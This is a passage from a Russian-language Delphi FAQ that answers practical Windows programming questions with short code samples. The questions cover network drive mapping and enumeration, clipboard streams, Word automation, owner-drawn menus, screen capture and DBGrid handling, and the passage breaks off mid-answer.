Err:=WNetAddConnection2(nw,nil,nil,0);

If Err=NO_ERROR then

begin

...

end;

MailServer.RemoteName и Password -- имя удаленного компа в сети и паpоль доступа к pесуpсу соответвенно.

ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'. если хочешь подключить сетевой pесуpс как локальный диск -- меняй nw.lpLocalName.

pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.

Q: Как показать Popup Help?

A: WinProcs.function WinHelp(Wnd: HWnd; HelpFile: PChar; Command: Word; DatA>:

LongInt): Bool;

HELP_CONTEXTPOPUP

An unsigned long integer containing the context number for a topic.

Displays in a pop-up window a particular Help topic identified by a context

number that has been defined in the [MAP] section of the .HPJ file.

Q: Как показать иконку для конкретного типа файла?

A: Использовать функцию ExtractAssociatedIcon() из ShellApi

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);

var

Icon : hIcon;

IconIndex : word;

begin

IconIndex := 1;

Icon := ExtractAssociatedIcon(HInstance,

Application.ExeName, IconIndex);

DrawIcon(Canvas.Handle, 10, 10, Icon);

end;

Q: Как получить компоненту по ее имени?

A: Используйте метод FindComponent , который есть у всех компонент -"контейнеров":

var

Target: TComponent;

begin

Target := FindComponent('Button1');

TButton(Target).SetFocus;

end;

Q: Как получить короткий путь файла если имеется длинный?

A: GetShortPath()

Q: Как получить серийный номер Audio CD диска?

A: CD может именть а может и не иметь серийный номер и/или Универсальный Код Продукта (Universal Product Code) встроенный в CD. Расширение MCI Windows дает эту возможность команду через MCI_INFO_MEDIA_IDENTITY. Данная команда возвращает уникальный идентификатор ID в виде строкит из 16 шестнадцатиричных цифр.

Example:

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);

var

mp : TMediaPlayer;

msp : TMCI_INFO_PARMS;

MediaString : array[0..255] of char;

ret : longint;

begin

mp := TMediaPlayer.Create(nil);

mp.Visible := false;

mp.Parent := Application.MainForm;

mp.Shareable := true;

mp.DeviceType := dtCDAudio;

mp.FileName := 'D:';

mp.Open;

Application.ProcessMessages;

FillChar(MediaString, sizeof(MediaString), #0);

FillChar(msp, sizeof(msp), #0);

msp.lpstrReturn := @MediaString;

msp.dwRetSize := 255;

ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,

longint(@msp));

if Ret <> 0 then begin

MciGetErrorString(ret, @MediaString, sizeof(MediaString));

Memo1.Lines.Add(StrPas(MediaString));

end else

Memo1.Lines.Add(StrPas(MediaString));

mp.Close;

Application.ProcessMessages;

mp.free;

end;

end.

Q: Как получить сетевые ресурсы?

A: Вот тебе пример вызова из работающей проги. Данный пример осуществит поиск по сети зашаренных дисков и сложит этот список в некий TStringList без соблюдения иерархии. Если тебе нужно дерево, то сам посмотриш как переписать это дело.

Пример будет состоять из двух функций -

первая - рекурсивная, вызывающая саму себя для перечисления ресурсов в контейнерах сетевых ресурсов;

вторая - инициирующая рекурсивное перечисления сетевых ресурсов собственного компа.

type

PNetResourceArray = ^TNetResourceArray;

TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;

procedure EnumResource(Enumenator: PNetResource; List: TStringList);

var

I, Count, BufSize, Size, NetResult: Integer;

NetHandle: THandle;

NetResources: PNetResourceArray;

begin

if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, Enumenator, NetHandle) <> NO_ERROR then Exit;

try

BufSize := 50 * SizeOf(TNetResource);

GetMem(NetResources, BufSize);

try

while True do begin

Count := -1;

Size := BufSize;

NetResult := WNetEnumResource(NetHandle, Count, NetResources,Size);

if NetResult = ERROR_MORE_DATA then begin

BufSize := Size;

ReallocMem(NetResources, BufSize);

Continue;

end;

if NetResult <> NO_ERROR then Exit;

for I := 0 to Count - 1 do begin

with NetResources^[I] do begin

if (lpRemoteName <> nil) and (StrLen(lpRemoteName) > 0) and (StrPos(lpRemoteName, SelfName) <> nil) then

List.Add(AnsiLowercase(lpRemoteName));

if dwUsage = RESOURCEUSAGE_CONTAINER then begin

EnumResource(@NetResources^[I], List);

end;

end;

end;

end;

finally

FreeMem(NetResources, BufSize);

end;

finally

WNetCloseEnum(NetHandle);

end;

end;

// процедура, возвращающая в прединициализированном

// List список своих зашаренных ресурсов, как они выглядит из сети

function GetSelfResource : TStringList;

var

SelfNetEnumenator: TNetResource;

SelfName: array [0..512] of Char;

begin

if GetComputerName(@SelfName, I) then begin

StrPCopy(SelfName, '\\'+StrPas(SelfName));

Result := TStringList.Create;

try

FillChar(SelfNetEnumenator, SizeOf(SelfNetEnumenator), 0);

with SelfNetEnumenator do begin

dwScope := RESOURCE_GLOBALNET;

dwType := RESOURCETYPE_DISK;

dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;

dwUsage := RESOURCEUSAGE_CONTAINER;

lpLocalName := nil;

lpRemoteName := @SelfName;

lpComment := nil;

lpProvider := nil;

end;

EnumResource(@SelfNetEnumenator, Result);

if Result.Count > 0 then

begin

// анализы

end;

finally

end;

end;

end;

Q: Как послать сообщение всем окнам в Windows?

A: Как послать самостийное сообщение всем главным окнам в Windows?

A>:

Пример:

Var

FM_FINDPHOTO: Integer;

// Для использовать hwnd_Broadcast нужно сперва зарегистрировать уникальное

// сообщение

Initialization

FM_FindPhoto:=RegisterWindowMessage('MyMessageToAll');

// Чтобы поймать это сообщение в другом приложении (приемнике) нужно перекрыть

DefaultHandler

procedure TForm1.DefaultHandler(var Message);

begin

with TMessage(Message) do

begin

if Msg = Fm_FindPhoto then MyHandler(WPARAM,LPARAM) else

Inherited DefaultHandler(Message);

end;

end;

// А тепрь можно

SendMessage(HWND_BROADCAST,FM_FINDPHOTO,0,0);

Кстати, для посылки сообщения дочерним контролам некоего контрола можно

использовать метод Broadcast.

Q: Как правильно в Win32 отслеживать запуск второй копии программы?

A: FindWindow является неполным решением (если меняется заголовок окна или

если есть другая программа с таким же заголовком или типом окна).

Вторично: медленно.

Лениво пользовать семафоры, покажу на именованных мутексах (семафоры с двумя

состояниями).

Unit OneInstance32;

interface

implementation

uses

Forms;

var

g_hAppMutex: THandle;

function OneInstance: boolean;

var

g_hAppCritSecMutex: THandle;

dw: Longint;

begin

g_hAppCritSecMutex := CreateMutex( nil, true, PChar(Application.Title +

'.OneInstance32.CriticalSection') );

// if GetLastError - лениво писать

g_hAppMutex := CreateMutex( nil, false, PChar(Application.Title +

'OneInstance32.Default') );

dw := WaitForSingleObject( g_hAppMutex, 0 );

Result := (dw <> WAIT_TIMEOUT);

ReleaseMutex( g_hAppCritSecMutex ); // необязательно вследствие последующего

закрытия

CloseHandle( g_hAppCritSecMutex );

end;

initialization

g_hAppMutex := 0;

finalization

if LongBool( g_hAppMutex ) then

begin

ReleaseMutex( g_hAppMutex); // необязательно

CloseHandle( g_hAppMutex );

end;

end.

Q: Как правильно закрыть и удалить форму?

A: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется?

Обрабатывайте событие OnClose для формы и выставляйте в нем параметр

Action в caFree. Дело в том, что его значение по умолчанию для MDI Child

форм =caMinimize. Кстати, если сделать Action := caNone, то форму нельзя

будет закрыть.

Q: Как правильно работать с прозрачными окнами?

A: Стиль окна-формы указывается в CreateParams (если не перепутал). Только вот когда перемещаешь его, фон остается со старым куском экрана. Чтобы этого не происходило, то когда pисуешь своё окно, запоминай, что было под ним,а пpи пеpемещении восстанавливай.

HDC hDC = GetDC(GetDesktopWindow()) тебе поможет..

Q: Как проиграть Wave-ресурс?

A: === 1 ===

Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV

Компилишь чем-нибyдь в *.RES

Далее в тексте:

{$R полное_имя_файла_с_ресурсом}

var WaveHandle : THandle;

WavePointer : pointer;

...

WaveHandle := FindResource(hInstance,'MY_WAV',RT_RCDATA);

if WaveHandle<>0 then begin

WaveHandle:= LoadResource(hInstance,WaveHandle);

if WaveHandle<>0 then begin;

WavePointer := LockResource(WaveHandle);

PlayResourceWave := sndPlaySound(WavePointer,snd_Memory OR

SND_ASYNC);

UnlockResource(WaveHandle);

FreeResource(WaveHandle);

end;

end;

=== 2 ===

PlaySound('SOUNDNAME',hInstance,SND_RESOURCE or SND_ASYNC);

Q: Как работать с буфером обмена как последовательностью байт?

A: Используя потоки -

=== Cut ===

unit ClipStrm;

{

This unit is Copyright (c) Alexey Mahotkin 1997-1998

and may be used freely for any purpose. Please mail

your comments to

E-Mail: alexm@hsys.msk.ru

FidoNet: Alexey Mahotkin, 2:5020/433

This unit was developed during incorporating of TP Lex/Yacc

into my project. Please visit ftp://ftp.nf.ru/pub/alexm

or FREQ FILES from 2:5020/433 or mail me to get hacked

version of TP Lex/Yacc which works under Delphi 2.0+.

}

interface uses Classes, Windows;

type

TClipboardStream = class(TStream)

private

FMemory : pointer;

FSize : longint;

FPosition : longint;

FFormat : word;

public

constructor Create(fmt : word);

destructor Destroy; override;

function Read(var Buffer; Count : Longint) : Longint; override;

function Write(const Buffer; Count : Longint) : Longint; override;

function Seek(Offset : Longint; Origin : Word) : Longint; override;

end;

implementation uses SysUtils;

constructor TClipboardStream.Create(fmt : word);

var

tmp : pointer;

FHandle : THandle;

begin

FFormat := fmt;

OpenClipboard(0);

FHandle := GetClipboardData(FFormat);

FSize := GlobalSize(FHandle);

FMemory := AllocMem(FSize);

tmp := GlobalLock(FHandle);

MoveMemory(FMemory, tmp, FSize);

GlobalUnlock(FHandle);

FPosition := 0;

CloseClipboard;

end;

destructor TClipboardStream.Destroy;

begin

FreeMem(FMemory);

end;

function TClipboardStream.Read(var Buffer; Count : longint) : longint;

begin

if FPosition + Count > FSize then

Result := FSize - FPosition

else

Result := Count;

MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result);

Inc(FPosition, Result);

end;

function TClipboardStream.Write(const Buffer; Count : longint) : longint;

var

FHandle : HGlobal;

tmp : pointer;

begin

ReallocMem(FMemory, FPosition + Count);

MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count);

FPosition := FPosition + Count;

FSize := FPosition;

FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize);

try

tmp := GlobalLock(FHandle);

try

MoveMemory(tmp, FMemory, FSize);

OpenClipboard(0);

SetClipboardData(FFormat, FHandle);

finally

GlobalUnlock(FHandle);

end;

CloseClipboard;

except

GlobalFree(FHandle);

end;

Result := Count;

end;

function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint;

begin

case Origin of

0 : FPosition := Offset;

1 : Inc(FPosition, Offset);

2 : FPosition := FSize + Offset;

end;

Result := FPosition;

end;

end.

Q: Как работать с файлами MS Word или таблицами Excel?

A: === 1 ===

A: Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic.

NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc');

=== Cut Пример by Sergey Arkhipov 2:5054/88.10 ===

Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет...

unit InWord;

interface

uses

... ComCtrls; // Delphi3

... OLEAuto; // Delphi2

[skip]

procedure TPrintForm.MPrintClick(Sender: TObject);

var W: Variant;

S: String;

begin

S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи

// в var у меня не пошло :(

try // А вдруг где ошибка :)

W:=CreateOleObject('Word.Basic');

// Создаем документ по шаблону MyWordDot

// с указанием пути если он не в папке шаблонов Word

W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);

// Отключение фоновой печати (на LJ5L без этого был пустой лист)

W.ToolsOptionsPrint(Background:=0);

// Переходим к закладке Word'a 'Num'

W.EditGoto('Num'); W.Insert(S);

//Сохранение

W.FileSaveAs('C:\MayPath\Reports\MyReport')

W.FilePrint(NumCopies:='2'); // Печать 2-х копий

finally

W.ToolsOptionsPrint(Background:=1);

W:=UnAssigned;

end;

end;

Q: Как рисовать картинки в пунктах меню (через OwnerDraw)?

A: unit DN_Win;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, Menus, StdCtrls,

type

TDNForm = class(TForm)

MainMenu1: TMainMenu;

cm_MainExit: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure cm_MainExitClick(Sender: TObject);

public

BM:TBitmap;

Procedure WMDrawItem(var Msg:TWMDrawItem); message wm_DrawItem;

Procedure WMMeasureItem(var Msg:TWMMeasureItem); message

wm_MeasureItem;

end;

var

DNForm : TDNForm;

implementation

{$R *.DFM}

var

Comm,yMenu : word;

procedure TDNForm.FormCreate(Sender: TObject);

begin

yMenu:=GetSystemMetrics(SM_CYMENU);

comm:=cm_MainExit.Command;

ModifyMenu(MainMenu1.Handle,0,mf_ByPosition or mf_OwnerDraw,comm,'Go');

end;{TDNForm.FormCreate}

procedure TDNForm.cm_MainExitClick(Sender: TObject);

begin

DNForm.Close;

end;{TDNForm.cmExitClick}

Procedure TDNForm.WMMeasureItem(var Msg:TWMMeasureItem);

Begin

with Msg.MeasureItemStruct^ do

if ItemID=comm then begin ItemWidth:=yMenu; Itemheight:=yMenu; end;

End;{WMMeasureItem}

{}

Procedure TDNForm.WMDrawItem(var Msg:TWMDrawItem);

var

MemDC:hDC;

BM:hBitMap;

mtd:longint;

Begin

with Msg.DrawItemStruct^ do

begin

if ItemID=comm then

begin

BM:=LoadBitMap(hInstance,'dver');

MemDC:=CreateCompatibleDC(hDC);

SelectObject(MemDC,BM);

if ItemState=ods_Selected then mtd:=NotSrcCopy else mtd:=SrcCopy;

StretchBlt(hDC,rcItem.left,rcItem.top,yMenu,yMenu,MemDC,0,0,24,23,mtd);

DeleteDC(MemDC);

DeleteObject(BM);

end;

end{with}

End;{TDNForm.WMDrawItem}

end.

Q: Как рисовать на органе управления, например, на TPanel?

A: У всех компонентов, порожденных от TCustomControl, имеется свойство Canvas типа

TCanvas.

Грубо говоря, это аналог TDC из OWL. Те операции, которые нельзя выполнить с

помощью методов TCanvas, можно выполнить с помощью WinAPI.

Для этого у обьектов класса TCanvas имеется свойство Handle - это и есть Хэндл

Дисплейного Контекста ОС Windows (HDC), который необходим графическим функциям

WinAPI.

Если свойство Canvas недоступно, Вы можете достучаться до него созданием

потомка и переносом этого свойства в раздел Public.

{ Example. We recommend You to create this component through Component Wizard.

In Delphi 1 it can be found as 'File|New Component...', and can be found

as 'Component|New Component...' in Delphi 2 or above. }

type

TcPanel = class(TPanel)

public

property Canvas;

end;

Q: Как скопировать экран (или его часть) в TBitmap?

A: === 1 ==

С помощью WinAPI

var

bmp: TBitmap;

DC: HDC;

begin

bmp:=TBitmap.Create;

bmp.Height:=Screen.Height;

bmp.Width:=Screen.Width;

DC:=GetDC(0); //Дескpиптоp экpана

bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,

DC, 0, 0, SRCCOPY);

bmp.SaveToFile('Screen.bmp');

ReleaseDC(0, DC);

end;

=== 2 ===

Или с помощью обертки TCanvas -

Объект Screen[.width,height] - размеры

Var

Desktop :TCanvas ;

BitMap :TBitMap;

begin

DesktopCanvas:=TCanvas.Create;

DesktopCanvas.Handle:=GetDC(Hwnd_Desktop);

BitMap := TBitMap.Create;

BitMap.Width := Screen.Width;

BitMap.Height:=Screen.Height;

Bitmap.Canvas.CopyRect(Bitmap.Canvas.ClipRect,

DesktopCanvas, DesktopCanvas.ClipRect);

........

end;

=== 2 ===

С помощью обертки TCanvas -

Объект Screen[.width,height] - размеры

Var

Desktop :TCanvas ;

BitMap :TBitMap;

begin

DesktopCanvas:=TCanvas.Create;

DesktopCanvas.Handle:=GetDC(Hwnd_Desktop);

BitMap := TBitMap.Create;

BitMap.Width := Screen.Width;

BitMap.Height:=Screen.Height;

Bitmap.Canvas.CopyRect(Bitmap.Canvas.ClipRect,

DesktopCanvas, DesktopCanvas.ClipRect);

........

end;

Q: Как сменить обои через код?

A: Можно через вызов функции Windows API SystemParametersInfo() с параметром SPI_SETDESKWALLPAPER и именем файла с bitmap.

Пример:

SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, PChar('C:\SOMEPATH\SOME.BMP'),

SPIF_SENDWININICHANGE);

Q: Как управлять Caps Lock?

A: procedure TMainForm.StudentLookupEnter(Sender: TObject);

Var Level : Integer;

KeyState : TKeyBoardState;

begin

{check if caps-lock is on - if not turn it on}

Level := GetKeyState(VK_CAPITAL);

GetKeyboardState(KeyState);

CapsLockStatus := KeyState;

If Level = 0 then

begin

KeyState[VK_CAPITAL] := 1;

setKeyboardState(KeyState);

end;

Q: Как я могу использовать анимированный курсор?

A: Сперва Вы должны взять хэндл курсора Windows и присвоить его одному из

элементов массива Cursors обьекта Screen.

Предопределенные курсоры имеют отрицательный индекс, а определенные

пользователем (Вами) курсоры получают положительные индексы.

Ниже пример формы, использующей анимированный курсор:

procedure TForm1.Button1Click(Sender: TObject);

var

h : THandle;

begin

h := LoadImage(0,

'C:\TheWall\Magic.ani',

IMAGE_CURSOR,

0,

0,

LR_DEFAULTSIZE or

LR_LOADFROMFILE

);

if h = 0 then ShowMessage('Курсор не загружен')

else

begin

Screen.Cursors[1] := h;

Form1.Cursor := 1;

end;

end;

Q: Каким образом можно мзменить системное меню формы?

A: Hе знаю как насчет акселераторов,надо поискать,

а вот добавить Item - пожалуйста

type

TMyForm=class(TForm)

procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;

end;

const

ID_ABOUT = WM_USER+1;

ID_CALENDAR=WM_USER+2;

ID_EDIT = WM_USER+3;

ID_ANALIS = WM_USER+4;

implementation

procedure TMyForm.wmSysCommand;

begin

case Message.wParam of

ID_CALENDAR:DatBitBtnClick(Self) ;

ID_EDIT :EditBitBtnClick(Self);

ID_ANALIS:AnalisButtonClick(Self);

end;

inherited;

end;

procedure TMyForm.FormCreate(Sender: TObject);

var

SysMenu:THandle;

begin

SysMenu:=GetSystemMenu(Handle,False);

InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');

InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');

InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');

InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');

end;

Q: Каскадное удаление в связанных таблицах?

A:

procedure TForm1.Table1BeforeDelete(DataSet: TDataset)

begin

with Table2 do begin

DisableControls;

First;

While not EOF do Delete;

EnableControls;

end;

end;

Where table1 is the parent and table2 is the child.

Q: Конструирование Popup меню из DB?

A: var m:TMenuItem;

navidummy:TComponent;

procedure TMyForm.CreatePopUpMM(Sender: TObject);

begin

Navidummy.free;

Navidummy:=TComponent.create(self);

While not NaviT.EOF do begin

m := TMenuItem.create(navidummy);

II:=II+1;

with m do begin

name :='MM'+IntToStr(II);

caption := NaviT.Fieldbyname('MyWHAT').AsString ;

tag := NaviT.Fieldbyname('MyTAG').AsInteger;

visible:=True;

OnClick:= NaviExec ;

end;

MyMenuItem.add(m);

NaviT.Next;

end;

NaviT.Close;

end;

procedure TMyForm.NaviExec(Sender:TObject);

begin

What.text := (Sender as TMenuItem).Caption; { There I get what I want ! }

Key:= (Sender as TMenuItem).Tag ;

end;

Q: Копирование memo поля из одной таблицы в другую?

A: === 1 ===

Table2.<MemoFieldName>.Text.Clear;

Table2.<MemoFieldName>.Text.Add(Table1.<MemoFieldName>.Text);

=== 2 ===

MemoField1.Assign(MemoField2);

Make sure the dataset is in Edit mode.

=== 3 ===

Var

T : TMemoryStream

Begin

T := TMemoryStream.Create;

Table1<MemoField>.SavetoStream(T);

Table2<MemoField>.LoadFromStream(T);

T.Destroy;

End;

=== 4 ===

Table2.Memo1.Lines.Assign(Table1.Memo1.Lines);

Q: Мой орган имеет фокус но не получает сообщений от клавиатуры?

A: Если вы имеете опубликованное свойство DragMode и установили его в dmAutomatic то возможно ваш орган думает, что он находится в состоянии буксировка (dragging) но это не так.

В модуле CONTROLS.PAS есть локальная переменная DragControl которая указывет на орган, который в дданный момент буксируется. Возможно по некоторым причинам данная переменная не очищена и поэтому процедура WndProc класса TWinControls игнорирует все сообщения.

Q: Определение компонента по нажатию мышки?

A: Как можно определить в обработчике MenuItem для PopupMenu, на какой компоненте было произведено нажатие правой кнопки мыши?

Для этого нужно воспользоваться свойством PopupMenu.PopupComponent, например:

procedure TForm1.PopupItem1Click(Sender: TObject);

begin

Label1.Caption := PopupMenu1.PopupComponent.ClassName;

end;

Q: Определение кто закрывает мое приложение?

A: Windows посылает сообщение WM_QUERYENDSESSION каждому активному приложению когда пользователь пытается закрыть Windows. Если ваша программа возвращает не нулевое значение то Windows закрывает ееt. Если программа возвращает 0, то это говорит Windows не закрываться. Обработчик DefWindowProc возвращает не нулевое значение по умолчанию. Вы можете написать обработчик сообщения которое предотвратит закрытие Windows.

Q: Перекодировка из Win-кодировки в Dos-кодировку?

A: CharToOEM/OEMToChar

CharToOEMBuff/OEMToCharBuff.

Q: Перемещение курсора только x-координате?

A: в вашем обработчике OnMouseMove сделайте следующее:

if (y<>0) and (lockY) then begin

GetMouseCoords(NewX,NewY);

NewY := NewY + y; {or should that be minus?}

SetMouseCoords(NewX,NewY);

end;

Переменная lockY определяет желаете ли вы подобное поведение курсора или нет.

Q: Перехват сообщения Maximize?

A: Вместо этого обрабатывайте сообщение WMGetMinMaxInfo.

private

procedure WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo ); message WM_GETMINMAXINFO;

procedure TCCentre.WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo );

begin

with Message.MinMaxInfo^ do

begin

ptMaxSize.X := 640; {Width when maximized}

ptMaxSize.Y := 96; {Height when maximized}

ptMaxPosition.X := 0; {Left position when maximized}

ptMaxPosition.Y := 0; {Top position when maximized}

ptMinTrackSize.X := 500; {Minimum width}

ptMinTrackSize.Y := 96; {Minimum height}

ptMaxTrackSize.X := 640; {Maximum width}

ptMaxTrackSize.Y := 150; {Maximum height}

end;

Message.Result := 0; {Tell windows you have changed

minmaxinfo} inherited;

end;

Q: Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке?

A: var X,Y: LongInt;

............

Y:=Memo1.Perform(EM_LINEFROMCHAR, Memo1.SelStart, 0);

X:=Memo1.Perform(EM_LINEINDEX, Y, 0);

inc(Y);

X:=Memo1.SelStart-X+1;

........

Q: Почему непpавильно pаботает функция StrToFloat?

A: Почему то неправильно работает функция StrToFloat.

Пишу даже прямо StrToFloat('32.34'), к примеру, получаю эксепшн "'32.34' is not valid float"

Если пишу число без десятичной точки, то все ОК.

А какой у тебя DecimalSeparator? В Russian settings почему-то

по умолчанию считается, что разделитеь дроби - запятая.

Пеpеустанови пpи запуске пpогpаммы DecimalSeparator := '.';

Или пользуйся этой функцией так:

StrToFloat('32,24');

Q: Программная прокрутка в Scroll Listbox?

A: Обратите внимание на сообщение LB_SETTOPINDEX из Windows API. Пошлите его соответствующему listbox

SendMessage(ListBox.Handle,lb_SetTopIndex,10,0);

После этого одиннадцатое значение из списка станет первым видимым.

Q: Собственный курсор?

A: const

SpinC_1 = MakeIntResource(10005);

SpinC_2 = MakeIntResource(10006);

SpinC_3 = MakeIntResource(10007);

SpinC_4 = MakeIntResource(10008);

initialization

Screen.Cursors[101] := LoadCursor(HInstance, SpinC_1);

Screen.Cursors[102] := LoadCursor(HInstance, SpinC_2);

Screen.Cursors[103] := LoadCursor(HInstance, SpinC_3);

Screen.Cursors[104] := LoadCursor(HInstance, SpinC_4);

end;

Q: Создание таблицы программным путем?

A: Таблица может быть создана с собственником или без.

Так как вы объявили это локальной процедурой, то она не может иметь собственника, в этом случае вы должны уничтожить ее вручную, в остальных случаях собственник уничтожит таблицу сам.

Для создания таблицы без собственника используйте следующий код:

procedure CreateATableInAUnit;

var

myTable : TTable;

begin

myTable := TTable.Create(nil);

try

myTable.DatabaseName := 'MyDB';

myTable.TableName := 'MyTable.db';

mytable.IndexName := 'MyIndex';

myTable.Open;

{do stuff}

finally

myTable.Free;

end;

end;

Q: Каким образом можно нарисовать Bitmap в элементе списка, чтобы его фон всегда совпадал с фоном текста, например так в списке фонтов в стандартных диалогах Windows помечаются TrueType фонты?

A: Такой эффект можно достичь используя метод BrushCopy объекта Canvas:

procedure BrushCopy(const Dest: TRect; Bitmap: TBitmap; const Source: TRect; Color: TColor);

например:

BrushCopy(Bounds(ARect.Left,ARect.Top,Fbmp.Width,Fbmp.Height),

Fbmp, Bounds(0, 0, Fbmp.Width, Fbmp.Height),

Fbmp.Canvas.Pixels[0, Fbmp.Height - 1]);

Здесь в качестве подменяемого в Bitmap цвета передается цвет его левой нижней точки.

Именно таким образом реализована прорисовка символического изображения дисков в TDriveComboBox.

Q: Что такое сообщения компонент?

A: Сообщения компонента подобны сообщениям Windows за исключением того, что они используются для оповещения о событиях связанных с компонентами Delphi.

Если вы имеете опубликованное свойство Font то вы должны перерисовать все субсвойства, которые изменятся. Изменение саоства Font не обязательно генерирует сообщение Windows но контроль обязан знать об изменении.

Книга "Secrets of Delphi 2.0" дает описание различных компонентных сообщений.

Ниже список некоторых сообщений. Сооьщения с пометкой "Notification Only" не передают никакой информации и обработчик не возрает никакой информации также.

CM_ACTIVATE (Notification Only)

Форма посылает сообщение когда становится активной.

CM_CTL3DCHANGED (Notification Only)

При изменении свойства CTL3D.

CM_DESIGNHITTEST

Параметр: TCMDesignHitTest

Возврат: или 0 или 1

Данное сообщение посылается, когда когда мышка над контролем.

Возвращает 1 если контроль хочет обрабатывать сообщения мышки в design mode.

Если возращается 0 то Delphi обрабатывает сообщение. Если орган возвращает 1 все время, то popup меню никогда не появится. Если орган не обрабатывает данное сообщение или возвращает 0 все время то орган не сможет реагировать сообщения мышки в design mode.

CM_FONTCHANGED (Notification Only)

Посылается органу, когда изменяется свойство font.

CM_FONTCHANGE (Notification Only)

Орган посылает данное сообщение когда принимает сообщение WM_FONTCHANGE

CM_PARENTCTL3DCHANGED (Notification Only)

Посылается все подчиненным органам когда parent (не Owner) принимает сообщение CM_CTL3DCHANGED. Данное сообщение посылается также когда орган получает другого хозяина (parent).

CM_PARENTCOLORCHANGED (Notification Only)

Орган посылает данно соообщение когда значение ParentColor изменяется. Данное сообщение также посылается когда орган читает форму из потока или получает другого хозяина (parent).

CM_PARENTFONTCHANGED (Notification Only)

Посылается всем подчиненным компонентам когда хозяин (parent не Owner) принимает сообщение CM_FONTCHANGED. Данное сообщение также посылается когда орган читает из потока или получает нового хозяина (parent).

CM_PARENTSHOWHINTCHANGED (Notification Only)

Орган посылает данное сообщение когда значение его свойства ParentShowHint изменяется. Данное сообщение посылается также когда орган читает из потока или получает нового хозяина (parent).

CM_WININICHANGE

Параметр: Так как и для WM_WININICHANGE

Возврат: Нет

Орган посылает данное сообщение когда принимает сообщение WM_WININICHANGE.

Q: Где лучше в программе размещать код заставки перед запуском?

A: Лучше всего размещать код заставки в головном файле программы после первого Application.FormCreate и перед Application.Run. Это делается путем создания формы заставки "на лету" и последующего отображения ее перед открытием приложения.

program Project1;

uses Forms, Unit1 in 'UNIT1.PAS' {Form1}, Splash;

{$R *.RES}

var

SplashScreen : TSplashScreen; {в модуле Splash }

begin

Application.CreateForm(TForm1, Form1);

SplashScreen := TSplashScreen.Create(Application);

try

SplashScreen.Show;

SplashScreen.Update; {Обрабатываем все сообщения о прорисовке формы}

{делайте другие CreatForms или любые другие действия перед тем, как приложение откроется. Если процесс запуска занимает много времени, возможно Вы захотите периодически запускать Application.ProcessMessages, чтобы позволить приложению отвечать на сообщения Windows.}

finally {Убедитесь в том, что память под заставку освобождается}

SplashScreen.Free;

end;

Application.Run;

end.

Q: Имеет ли TDBGrid события OnMouseDown, OnMouseUp и

OnMouseMove?

A: Эти события существуют, но они не опубликованы. Вы можете создать простого потомка TDBGrid и опубликовать их.

Q: Каков порядок обработчиков событий при создании и отображении формы?

A: Обработчики событий выполняются в следующем порядке:

OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint.

Q: Как сохранить целочисленное значение вместе со строковым в TStringList?

A: Чтобы записать значения в TStringlist :

MyStringList.AddObject('Text string', TObject(100));

Чтобы прочитать значения:

Result := LongInt( MyStringList.Objects[0] );

Если Вы хотите сохранить более одного целочисленного значения, создайте потомка класса TObject

type

ManyValues = class(TObject)

Value1 : Integer;

Value2 : Integer;

end;

Q: Как определить текущую строку и текущее поле в TDBGrid?

A: var

Col, Row: Integer;

procedure TForm1.MyDBGridDrawDataCell(Sender: TObject; const Rect: TRect;

Field: TField; State: TGridDrawState);

var

RowHeight: Integer;

begin

if gdFocused in State then

begin

RowHeight := Rect.Bottom - Rect.Top;

Row := (Rect.Top div RowHeight) - 1;

Col := Field.Index;

end;

end;

Q: Как изменить цвет в ячейке DBGrid?

A: Вставьте следующий код в событии OnDrawDataCell:

Procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;

Field: TField; State: TGridDrawState);

begin

If gdFocused in State then

with (Sender as TDBGrid).Canvas do

begin

Brush.Color := clRed;

FillRect(Rect);

TextOut(Rect.Left, Rect.Top, Field.AsString);

end;

end;

Q: Есть ли BDE API или DLL для восстановления разрушенных индексов?

A: BDE содержит функцию DbiRegenIndexes() для восстановления разрушенных индексов

Добавьте в раздел USES модули DBITYPES, DBIPROCS и DBIERRS и вызывайте функцию:

DBIRegenIndexes(Table1.Handle);

Таблица должна быть открыта в исключительном режиме, и индекс уже должен существовать.

Q: Как показать содержание поля Memo в DBGrid?

A: procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;

Field: TField; State: TGridDrawState);

var

P : array [0..50] of char; {array size is number of characters needed}

BS : tBlobStream; {from the memo field}

S : String;

begin

If Field is TMemoField then begin

with (Sender as TDBGrid).Canvas do

begin

